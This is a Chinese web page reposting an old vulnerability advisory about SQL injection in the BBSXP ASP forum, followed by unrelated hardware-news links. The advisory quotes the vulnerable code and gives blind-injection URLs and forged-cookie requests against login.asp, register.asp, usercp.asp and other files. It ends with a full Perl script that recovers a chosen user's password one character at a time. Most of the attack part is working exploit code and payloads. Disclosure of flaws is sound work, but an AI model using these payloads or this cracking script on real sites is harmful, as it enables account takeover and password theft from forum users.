半边山下_BBSXP多个文件存在Sql Injection漏洞

更新时间:2017-07-17 来源:新闻资讯 点击:

【www.hzclsc.cn--新闻资讯】

     >>>Dedicated This Scrap To CaoJing<<<

涉及版本:
BBSXP所有版本
描述:
BBSXP是一款由WWW.BBSXP.COM开发和维护的源代码开放的Asp论坛;由于作者采用的安全防护措施过于简单,导致整个论坛多个文件存在Sql Injection漏洞,非法用户可以很快地智能破解任意用户口令或进行其他恶意攻击。但令人费解的是在BBSXP的说明文档中却有这么句话:"BBSXP经过将近3年的测试,可说是不存在任何BUG,而其他论坛程序BUG可说多多,你能放心使用吗?"
具体:
BBSXP在对用户输入和cookie的审查上竟然只用了类似如下的简单处理:
---------------------------------------------------
if instr(username," ")>0 then:error("

非法操作"):end if
if Request.Cookies("username")="" then
error("

您还还未

登陆社区")
---------------------------------------------------
仅仅限制空格就能把Sql Injection排除在外?搞笑,我们先看个例子
---------------------------------------------------
login.asp
...
if instr(username," ")>0 then:error("

非法操作"):end if '只限制空格,Faint!
sql="select * from user where username='"&username&"'"
rs.Open sql,Conn
if rs.eof then
message=message&"

此用户名还未

注册" '超级失败,竟然还使用如此低级设计
error(""&message&"")
end if
if userpass<>rs("userpass") then
message=message&"

您输入的密码错误" '摆明了返回准确信息给攻击者判断
...
---------------------------------------------------
显然这里不能来个 username=root' and len(userpass)=6 and '1,但没有空格我们照样玩:
http://www.target.com/asp/bbsxp/bbsxp/login.asp?menu=add&url=&username=root'and(len(userpass)=6)and'1&userpass=asd&Submit1=+%B5%C7%C2%BD+
可判断”设立条件成功”返回的字符串:您输入的密码错误;即返回“您输入的密码错误”则说明root用户的密码长度是6位,接着使用left()、right()可以推算出密码了,但手工推测是很吃力的,我们可以根据提交一个请求后的返回值判断我们设立的条件成功与否,这样可以写个小的密码破解程序,本文结尾附了我写的一个测试程序。
再看一个构造cookie来达到Sql Injection的例子:
---------------------------------------------------
usercp.asp:
-------------包含文件setup.asp中的关键代码
sql="select * from user where username='"&Request.Cookies("username")&"'"
if Request.Cookies("userpass")<>us("userpass") then
Response.Cookies("username")="" 
Response.Cookies("userpass")="" '如果密码不对cookie清空
end if
userface=""&us("userface")&"" '败笔,保存了一个值,可作返回值判断
-------------setup.asp中的关键代码结束
用户头像
src="images/face/

<%=userface%>.gif"> '用这个信息作为判断
---------------------------------------------------
如果我们提交如下请求:
$request= "GET /asp/bbsxp/bbsxp/usercp.asp HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie:eremite=0;username=root'and(len(userpass)%3d6)and'1'%3d'1;userpass=i\n\n";
返回的<%=userface%>不为空的话,则证明root密码为6位,其余一切和上面例子一样!

还想要例子吗?比如说:
register.asp:
http://www.target.com/asp/bbsxp/bbsxp/register.asp?menu=Check&username=root'and(len(userpass)=6)and'1
可判断条件成功返回字符串:已经有用户使用,请另外选择一个用户名
profile.asp:
http://www.target.com/asp/bbsxp/bbsxp/profile.asp?username=root'and(len(userpass)=6)and'1
可判断条件成功返回字符串:用户类型
shop.asp:
$request= "GET /asp/bbsxp/bbsxp/shop.asp HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie:eremite=0;username=root'and(len(userpass)%3d6)and'1'%3d'1;userpass=iamod\n\n";
可判断条件成功返回字符串:密码错误
recycle.asp:
$request= "GET /asp/bbsxp/bbsxp/recycle.asp HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie:eremite=0;username=root'and(len(userpass)%3d6)and'1'%3d'1;userpass=iamod\n\n";
可判断条件成功返回字符串:本论坛共有

由于篇幅所限,就不一一列举了;此外还有RecoverPasswd.aspv、prison.asp、play.asp、friend.asp、faction.asp、bank.asp...大量文件存在相同问题,真是令人汗颜!

如下是一个通过register.asp文件来破解用户口令的小程序(很快的哦),当然,稍作修改便可用于其他存在相同缺陷的文件或场合:

#!/usr/bin/perl
#Codz By PsKey2003/3/29
#This Script can crack BBSXP user's password

$|=1;
use Socket;
use Getopt::Std;
getopt('hpwu');

print "==========================================\n";
print "Codz By PsKey2003/3/29\n";
print "==========================================\n";

&usage unless ( defined($opt_h) && defined($opt_w) && defined($opt_u));

$host=$opt_h;
$port=$opt_p||80;
$way=$opt_w;
$user=$opt_u;

print "\nPlease wait...\n\n";

@dic=(0..100);
for ($i=0;$i<@dic;$i++)
{
$username=$user."'and(len(userpass)='$dic[$i]')and'1";
$request = "GET $way?menu=Check&username=$username HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie: eremite=0;\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /已经有用户使用/, @in;
$size=@num;
if ($size > 0) {
print "\n\nSuccessful,The length of the password is $dic[$i] .\n\n";
$lenpwd=$dic[$i];
last;
}
}

for ($j=1;$j<=$lenpwd;$j++)
{
@dic11=(0..9);
@dic12=(a..z);
@special=qw(` ~ ! @ # $ %25 ^ %26 * \( \) _ %2b = - { } [ ] : " ; < > ? | , . / \\);
@special2=qw( ` ~ ! · # ¥ % …… — * ( ) —— + - = { } [ ] : ” “ ; ’ 《 》 ? | , 。 / 、 〈 〉 ');
@dic=(@dic11,@dic12,@special,@special2);
for ($i=0;$i<@dic;$i++)
{
$key=$pws.$dic[$i];
$username=$user."'and(left(userpass,$j)='$key')and'1";
$request = "GET $way?menu=Check&username=$username HTTP/1.0\r\n".
"host:$host\r\n".
"Cookie: eremite=0;\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /已经有用户使用/, @in;
@num1=grep /操作符丢失/, @in;
$size=@num;
$size1=@num1;
if ($size > 0) {
$th=$j.th;
print "\nSuccessful,The $th word of the password is $dic[$i] \n";
$pws=$pws.$dic[$i];
last;
}
elsif ($size1 > 0)
{
$th=$j.th;
print "\nSuccessful,The $th word of the password is $dic[$i] \n\n";
print " ☆☆☆☆Attention☆☆☆☆ \n";
print "Something wrong,i can't go on,so you should crack it yourself!Poor...\n";
exit 0;
}
}
}

$pws=~s/\%2b/\+/ig;
$pws=~s/\%25/\%/ig;
$pws=~s/\%26/\&/ig;

print "\n\nSuccessful,the full password of $user is $pws.\n";

sub usage {
print qq~
Usage: $0 -h  [-p ] -w  -u 
-h =hostname you want to crack
-p =port,80 default
-w =the path of the weak file
-u =the user you want to crack

Eg: $0 -h www.target.com -p 80 -w /bbsxp/register.asp -u root
~;
exit;
}


#thanx rfp's sendraw 
sub sendraw {
my ($request) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket
problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $request;
my @in = ;
select(STDOUT);
close(S);
return @in;
}
else {
die("Can't connect...\n");
}
}

后记:BBSXP还存在其他很多问题,有兴趣的朋友可以看看--)。

本文来源:http://www.hzclsc.cn/anzhuo/514.html

为您推荐

atx电源改可调|ATX电源外接改装组件出现,电脑更安静

能把以往都在PC机箱内使用的ATX电源,改装为外接型的“外接电源组件”在日本上市。 组件由电源设置台、专用挡板、延长电源线组成,外接电源采用了星野金属的ATX电源「Varius EX3硬件报道

2017-12-27 06:14:11   atx电源改at电源   atx电源尺寸  

[突然出现]突然与NVIDIA和好 技嘉不满ATi做法倒戈?

技嘉公司5月13号引入了一条新的nForce 2主板生产线。这预示着自技嘉去年在显卡领域与ATI开展合作之后,与NVidia的业务关系正开始全面复苏。    技嘉称此决定是出于提供完整产品系列硬件报道

2017-12-27 02:14:11   突然的   张突然  

主板厂商排名_主板厂商四月表现不佳 出货量低于预期

一线主板厂商四月份的表现不佳,出货量比预期要低。这四家厂商认为主要问题出在装机市场上:四月份装机市场的主板需求锐减,比业界之前的预计还要糟糕。 内地客观因素影响和欧洲购买力疲软是造成主板出货硬件报道

2017-12-26 22:14:11   国内主板厂商  

【via】VIA、nVIDIA、ALI三款K8芯片组图片曝光

这三款K8主板分别采用了Ali、Nvidia和VIA的芯片组。芯片组型号分别为 ALi的M1563 VIA的K8HTA Nvidia的Crush K8 另,上周有消息说Ali公司将把它硬件报道

2017-12-26 21:14:11   viagogo   viagra   via是什么意思  

[怎么催余款]30余款865PE主板产品规格大曝光

本周有30多款865PE主板在日本上市。这些来自包括英特尔在内的各大知名厂家的865主板将真正引爆800MHZ市场,也将是今年年内的主流产品了。那么就让我们先睹为快吧!来自英特尔的产品:硬件报道

2017-12-26 15:14:11